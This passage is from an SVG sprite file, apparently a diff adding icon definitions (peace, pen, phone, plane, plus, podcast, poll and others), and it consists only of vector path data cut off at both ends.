10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z"></path> + </symbol> + <symbol id="peace" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z"></path> + </symbol> + <symbol id="pen" viewBox="0 0 512 512"> + <path d="M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z"></path> + </symbol> + <symbol id="pen-alt" viewBox="0 0 512 512"> + <path d="M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z"></path> + </symbol> + <symbol id="pen-fancy" viewBox="0 0 512 512"> + <path d="M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z"></path> + </symbol> + <symbol id="pen-nib" viewBox="0 0 512 512"> + <path d="M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z"></path> + </symbol> + <symbol id="pen-square" viewBox="0 0 448 512"> + <path d="M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z"></path> + </symbol> + <symbol id="pencil-alt" viewBox="0 0 512 512"> + <path d="M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z"></path> + </symbol> + <symbol id="pencil-ruler" viewBox="0 0 512 512"> + <path d="M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z"></path> + </symbol> + <symbol id="people-arrows" viewBox="0 0 576 512"> + <path d="M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z"></path> + </symbol> + <symbol id="people-carry" viewBox="0 0 640 512"> + <path d="M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z"></path> + </symbol> + <symbol id="pepper-hot" viewBox="0 0 512 512"> + <path d="M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z"></path> + </symbol> + <symbol id="percent" viewBox="0 0 448 512"> + <path d="M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z"></path> + </symbol> + <symbol id="percentage" viewBox="0 0 384 512"> + <path d="M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z"></path> + </symbol> + <symbol id="person-booth" viewBox="0 0 576 512"> + <path d="M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z"></path> + </symbol> + <symbol id="phone" viewBox="0 0 512 512"> + <path d="M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z"></path> + </symbol> + <symbol id="phone-alt" viewBox="0 0 512 512"> + <path d="M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z"></path> + </symbol> + <symbol id="phone-slash" viewBox="0 0 640 512"> + <path d="M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z"></path> + </symbol> + <symbol id="phone-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z"></path> + </symbol> + <symbol id="phone-square-alt" viewBox="0 0 448 512"> + <path d="M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z"></path> + </symbol> + <symbol id="phone-volume" viewBox="0 0 384 512"> + <path d="M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z"></path> + </symbol> + <symbol id="photo-video" viewBox="0 0 640 512"> + <path d="M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z"></path> + </symbol> + <symbol id="piggy-bank" viewBox="0 0 576 512"> + <path d="M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z"></path> + </symbol> + <symbol id="pills" viewBox="0 0 576 512"> + <path d="M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z"></path> + </symbol> + <symbol id="pizza-slice" viewBox="0 0 512 512"> + <path d="M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"></path> + </symbol> + <symbol id="place-of-worship" viewBox="0 0 640 512"> + <path d="M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z"></path> + </symbol> + <symbol id="plane" viewBox="0 0 576 512"> + <path d="M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z"></path> + </symbol> + <symbol id="plane-arrival" viewBox="0 0 640 512"> + <path d="M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z"></path> + </symbol> + <symbol id="plane-departure" viewBox="0 0 640 512"> + <path d="M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z"></path> + </symbol> + <symbol id="plane-slash" viewBox="0 0 640 512"> + <path d="M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z"></path> + </symbol> + <symbol id="play" viewBox="0 0 448 512"> + <path d="M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z"></path> + </symbol> + <symbol id="play-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z"></path> + </symbol> + <symbol id="plug" viewBox="0 0 384 512"> + <path d="M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z"></path> + </symbol> + <symbol id="plus" viewBox="0 0 448 512"> + <path d="M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="plus-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"></path> + </symbol> + <symbol id="plus-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-32 252c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92H92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 12 12v56z"></path> + </symbol> + <symbol id="podcast" viewBox="0 0 448 512"> + <path d="M267.429 488.563C262.286 507.573 242.858 512 224 512c-18.857 0-38.286-4.427-43.428-23.437C172.927 460.134 160 388.898 160 355.75c0-35.156 31.142-43.75 64-43.75s64 8.594 64 43.75c0 32.949-12.871 104.179-20.571 132.813zM156.867 288.554c-18.693-18.308-29.958-44.173-28.784-72.599 2.054-49.724 42.395-89.956 92.124-91.881C274.862 121.958 320 165.807 320 220c0 26.827-11.064 51.116-28.866 68.552-2.675 2.62-2.401 6.986.628 9.187 9.312 6.765 16.46 15.343 21.234 25.363 1.741 3.654 6.497 4.66 9.449 1.891 28.826-27.043 46.553-65.783 45.511-108.565-1.855-76.206-63.595-138.208-139.793-140.369C146.869 73.753 80 139.215 80 220c0 41.361 17.532 78.7 45.55 104.989 2.953 2.771 7.711 1.77 9.453-1.887 4.774-10.021 11.923-18.598 21.235-25.363 3.029-2.2 3.304-6.566.629-9.185zM224 0C100.204 0 0 100.185 0 224c0 89.992 52.602 165.647 125.739 201.408 4.333 2.118 9.267-1.544 8.535-6.31-2.382-15.512-4.342-30.946-5.406-44.339-.146-1.836-1.149-3.486-2.678-4.512-47.4-31.806-78.564-86.016-78.187-147.347.592-96.237 79.29-174.648 175.529-174.899C320.793 47.747 400 126.797 400 224c0 61.932-32.158 116.49-80.65 147.867-.999 14.037-3.069 30.588-5.624 47.23-.732 4.767 4.203 8.429 8.535 6.31C395.227 389.727 448 314.187 448 224 448 100.205 347.815 0 224 0zm0 160c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64z"></path> + </symbol> + <symbol id="poll" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM160 368c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V240c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v128zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V144c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v224zm96 0c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-64c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v64z"></path> + </symbol> + <symbol id="poll-h" viewBox="0 0 448 512"> + <path d="M448 432V80c0-26.5-21.5-48-48-48H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48zM112 192c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h128c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 0-16-7.16-16-16v-32c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16H112zm0 96c-8.84 